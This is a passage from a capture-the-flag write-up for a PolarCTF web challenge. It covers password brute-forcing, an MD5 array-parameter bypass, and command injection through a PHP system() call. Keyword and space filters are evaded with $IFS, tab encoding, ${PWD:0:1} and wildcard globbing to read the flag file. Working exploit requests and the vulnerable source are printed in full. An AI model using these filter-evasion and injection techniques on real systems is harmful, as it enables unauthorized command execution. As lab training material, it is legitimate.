$temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> Attempting to run it reveals a syntax error. Correct it: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite: Brute-forcing reveals that when the password is 6666, it redirects to /polar.php: Access /polar.php, obtain: <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // Initialize session variable if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } // The one who wants to win has no smile on their face if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 Well done \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 Not good enough\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "Go back, this part isn't needed\n"; } } else { show_source(__FILE__); echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">Go home</a>'; } ?> First, bypass the MD5 check by passing a[]=1&b[]=2: POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 The server returns: Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again. Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it's incorrect. Asking customer service confirms this Flag is wrong. Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} Obtain: polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content: http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? Obtain the Flag: flag{polarctf1314inwebgame}